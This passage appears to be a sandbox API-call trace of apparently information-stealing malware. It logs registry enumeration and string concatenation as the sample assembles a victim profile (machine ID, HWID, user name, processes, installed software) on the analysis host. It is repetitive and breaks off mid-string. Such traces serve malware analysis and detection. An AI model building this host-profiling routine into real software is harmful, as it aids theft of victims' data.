[0054.964] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\n"
[0054.964] RegCloseKey (hKey=0x514) returned 0x0
[0054.964] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x26, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001F-040C-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.964] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001F-040C-0000-0000000FF1CE}") returned 90
[0054.964] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001F-040C-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.964] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Outils de vérification linguistique 2016 de Microsoft Office - Français", lpcbData=0x1816c0*=0x48) returned 0x0
[0054.964] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\n", lpString2="Outils de vérification linguistique 2016 de Microsoft Office - Français" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe 